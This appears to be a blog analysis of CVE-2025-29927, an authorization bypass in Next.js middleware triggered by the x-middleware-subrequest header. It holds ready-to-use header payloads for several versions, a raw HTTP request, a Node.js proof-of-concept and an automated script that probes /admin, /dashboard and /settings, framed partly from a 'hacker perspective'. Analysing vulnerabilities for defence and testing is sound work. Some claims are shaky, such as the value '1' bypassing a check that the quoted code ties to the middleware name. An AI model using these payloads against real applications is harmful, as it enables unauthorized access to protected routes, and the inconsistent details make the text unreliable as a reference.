
CVE-2025-29927: Next.js Middleware Authorization Bypass
31 August 2025
CVE-2025-29927: Next.js Middleware Authorization Bypass – Deep Technical Analysis
CVE-2025-29927 is a critical security vulnerability in the Next.js framework. This issue arises from the improper handling of the x-middleware-subrequest
header. This header plays a key role in Next.js middleware execution, and its misuse can bypass authorization checks.
1️⃣ Role of x-middleware-subrequest
Header
Next.js uses the x-middleware-subrequest
header to determine whether a request is an internal subrequest. This header is designed to prevent infinite middleware loops. However, incorrect handling allows external requests to bypass middleware checks.
2️⃣ Technical Mechanism of the Vulnerability
const subreq = params.request.headers["x-middleware-subrequest"];
const subrequests = typeof subreq === "string" ? subreq.split(":") : [];
if (subrequests.includes(middlewareInfo.name)) {
result = {
response: NextResponse.next(),
waitUntil: Promise.resolve(),
};
continue;
}
This code reads the x-middleware-subrequest
header, splits it into an array, and if it contains middlewareInfo.name
, the middleware is skipped, allowing external requests to bypass authorization.
3️⃣ Exploit Methods Across Next.js Versions
📌 Version 12.2 and Earlier
Middleware files are named _middleware.ts
and reside in the pages
folder. The middlewareInfo.name
is the combination of directory and file name.
x-middleware-subrequest: pages/_middleware
Setting this header externally can skip middleware checks.
📌 Version 12.2 and Later
Middleware files are middleware.ts
. The middlewareInfo.name
is just the file name.
x-middleware-subrequest: middleware
Correctly setting this header still bypasses middleware.
📌 Version 13.2.0 and Later
Next.js enforces MAX_RECURSION_DEPTH
to prevent infinite loops, but misuse of x-middleware-subrequest
remains exploitable.
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
4️⃣ Exploit Scenario
GET /admin HTTP/1.1
Host: vulnerable-app.local
x-middleware-subrequest: 1
This request bypasses middleware and allows unauthorized access to routes like /admin
.
Node.js PoC
import fetch from 'node-fetch';
async function exploit() {
const res = await fetch('http://localhost:3000/admin', {
headers: { 'x-middleware-subrequest': '1' }
});
const body = await res.text();
if (body.includes('Admin Panel')) {
console.log('[+] Bypass Successful!');
} else {
console.log('[-] Middleware blocking access.');
}
}
exploit();
5️⃣ JWT / Cookie Combinations
Some projects combine middleware with cookie or JWT role checks:
if (!req.cookies.auth_token && req.headers['x-middleware-subrequest'] !== '1') {
return NextResponse.redirect('/login');
}
Adding the header allows access without token or JWT.
6️⃣ Header Manipulation Scenarios
Scenario | Header | Result |
---|---|---|
Simple bypass | x-middleware-subrequest: 1 | Middleware skipped |
JWT bypass | x-middleware-subrequest: 1 + missing JWT | Role check bypass |
Cookie bypass | x-middleware-subrequest: 1 + empty cookie | Auth bypass |
7️⃣ Automated Test Script (Red-Team Style)
import fetch from 'node-fetch';
const routes = ['/admin', '/dashboard', '/settings'];
async function testBypass() {
for (const route of routes) {
const res = await fetch(`http://localhost:3000${route}`, {
headers: { 'x-middleware-subrequest': '1' }
});
console.log(`${route}: ${res.status}`);
}
}
testBypass();
This script tests all protected routes automatically to quickly identify which can be bypassed.
8️⃣ Hacker Perspective
- Auth checks in middleware can be bypassed via header manipulation.
- JWT or cookie combinations can optimize bypass.
- Red-team testing involves code-based exploits and response analysis.
- Summary:
x-middleware-subrequest
= primary exploit entry point.